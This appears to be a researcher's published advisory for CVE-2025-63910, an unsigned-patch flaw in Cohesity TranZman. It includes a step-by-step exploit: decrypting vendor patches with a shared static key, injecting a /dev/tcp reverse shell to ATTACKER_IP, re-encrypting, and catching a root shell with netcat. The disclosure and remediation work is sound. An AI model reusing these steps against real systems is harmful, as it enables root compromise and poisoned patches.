Skip to content

Instantly share code, notes, and snippets.

@GregDurys
Created March 2, 2026 17:29
Show Gist options
  • Select an option

  • Save GregDurys/74c36c36bef81293a42022758f2736a9 to your computer and use it in GitHub Desktop.

Select an option

Save GregDurys/74c36c36bef81293a42022758f2736a9 to your computer and use it in GitHub Desktop.
CVE-2025-63910 - Cohesity TranZman Unsigned Patch Upload

CVE-2025-63910: Unsigned Patch Upload in Cohesity TranZman

Overview

Field Value
CVE ID CVE-2025-63910
CVSS v3.1 7.2 (High)
Vector AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE CWE-345: Insufficient Verification of Data Authenticity
Vendor Cohesity, Inc.
Product TranZman Migration Appliance
Affected Versions Release 4.0 Build 14614 including patch TZM_1757588060_SEP2025_FULL.depot

Description

The TranZman patch management system accepts and executes unsigned patch files uploaded through the web interface without performing cryptographic signature verification, source authentication, or content validation. This allows attackers with access to the web portal to craft malicious patches that execute arbitrary code with root privileges upon installation.

The Flask application at /opt/SRLtzm/web/tranzman/views/patch.py provides three routes:

@route_patch.route('', methods=['GET'])    # List patches in /data/patches/
@route_patch.route('', methods=['POST'])   # Upload patches
@route_patch.route('', methods=['PATCH'])  # Apply patches via run_independent_script_sbin()

Patch decryption uses OpenSSL with a static key stored at /opt/SRLtzm/srltzm.bmp. The same key is used across all installations, and no digital signatures are verified.

Exploitation

The steps below demonstrate modifying a legitimate vendor patch to execute arbitrary commands with root privileges.

Step 1: Obtain the encryption key

The static key file /opt/SRLtzm/srltzm.bmp can be obtained via:

  • CLISH command injection (CVE-2025-63911)
  • Hypervisor access to the OVA (modify GRUB to boot into emergency mode)

Step 2: Decrypt the vendor depot

# Decrypt the depot file
openssl aes-256-cbc -d -pbkdf2 -md md5 \
  -in TZM_1757588060_SEP2025_FULL.depot \
  -kfile /opt/SRLtzm/srltzm.bmp \
  -out depot.tar.gz

# Extract contents
tar -xzf depot.tar.gz

This reveals multiple patch files: TZM_Actions_3410.patch, TZM_System_14810.patch, TZM_DataBase_14796.patch, etc.

Step 3: Decrypt and extract individual patch

# Decrypt the Actions patch
openssl aes-256-cbc -d -pbkdf2 -md md5 \
  -in TZM_Actions_3410.patch \
  -kfile /opt/SRLtzm/srltzm.bmp \
  -out TZM_Actions_3410.tar.gz

# Extract patch contents
tar -xzf TZM_Actions_3410.tar.gz
tar -xzf Actions.tgz

Step 4: Inject backdoor

# Add reverse shell to a script that will be executed
echo '/bin/bash -i >& /dev/tcp/ATTACKER_IP/1337 0>&1' > patchbuild/edit_hosts

Step 5: Repackage and re-encrypt

# Repackage the modified patch
tar -czf Actions.tgz patchbuild/
tar -czf TZM_backdoor.tar.gz Actions.tgz patch.bmp

# Re-encrypt using the same static key
openssl aes-256-cbc -e -pbkdf2 -md md5 \
  -in TZM_backdoor.tar.gz \
  -kfile /opt/SRLtzm/srltzm.bmp \
  -out TZM_backdoor.patch

Step 6: Upload and trigger

  1. Upload TZM_backdoor.patch through the TranZman web interface
  2. Start listener: nc -lvnp 1337
  3. Trigger execution by navigating to config > network and issuing list_host

Result: Interactive root shell on the appliance.

Impact

  • Remote Code Execution: Arbitrary code execution with root privileges
  • Supply Chain Risk: Malicious patches could be distributed to multiple appliances; tampered patches become a software supply chain vector
  • Persistence: Patches modify system files, enabling persistent backdoors
  • Full System Compromise: Complete control of the TranZman appliance

Remediation

Apply Cohesity patches in the following order:

  1. TZM_patch_1.patch
  2. TZM_1760106063_OCT2025R2_FULL.depot

Contact Cohesity support for the latest OVA version with integrated fixes.

Timeline

Date Event
26 September 2025 Reported to Cohesity
20 October 2025 Cohesity confirmed fix in patches
25 December 2025 Embargo period ended
27 December 2025 Public disclosure

Credit

Discovered by Greg Durys, LME

References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment